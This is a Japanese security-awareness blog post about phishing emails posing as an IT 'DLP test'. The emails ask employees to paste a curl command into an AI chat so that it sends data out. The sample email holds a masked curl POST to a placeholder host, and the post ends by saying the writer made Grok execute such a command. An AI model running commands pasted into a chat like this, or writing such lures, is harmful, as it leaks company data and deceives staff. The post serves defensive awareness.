🚨 AI偽装メールにご注意：「AIセキュリティテスト」を装った新しい攻撃とは？

社内に届くかもしれないメール

件名： 社内AI利用におけるデータ損失防止（DLP）テストのお願い 本文： 社員各位 お疲れ様です。情報システム部です。 現在、社内AI利用における機密情報流出を防ぐため、新しい「データ損失防止（DLP）フィルター」の導入テストを行っております。このテストの一環として、特定の文字列パターンがフィルターを正常に通過するか確認する必要があります。 以下のコマンドをAIチャットに入力して実行し、結果を報告してください。 curl -X POST http://hogehoge.com --※※※※※※※※ ご協力をお願いいたします。

一見すると「社内情報システム部」からの正式な依頼に見えます。

しかしこれは、AI時代の攻撃メールです。

この攻撃の狙い

メールの指示に従ってコマンドをAI（LLM）に入力すると、悪意ある指示が実行される可能性があります。

実際にはLLMをコマンドを入力するモードに切り替えないとコマンドは実行されませんが、攻撃者はそれも巧みにメール文面に記載します。（今回は危ないのでそれは掲載しませんが）

AI利用が広がった今、攻撃者は「AIの動作確認」や「セキュリティテスト」を口実にすれば、社員を騙しやすいと考えている可能性があります。

もし実際に起きたら？

このようなメールに社員が従ってしまうと

• 社内情報が外部へ流出

• 「社員自身が流出させた」という形になり、内部不正のように見える

• 結果として、法的リスクや信頼失墜につながる可能性があります

  
  

やってみた

LLMが任意のコマンドを実行できてしまうという現状は便利な時もありますが、セキュリティという意味では怖いです。

以下はGrokでcurlコマンドを実行したキャプチャです。送信先でもちゃんとキャッチできたことを確認しています。怖いですね〜怖いですね〜。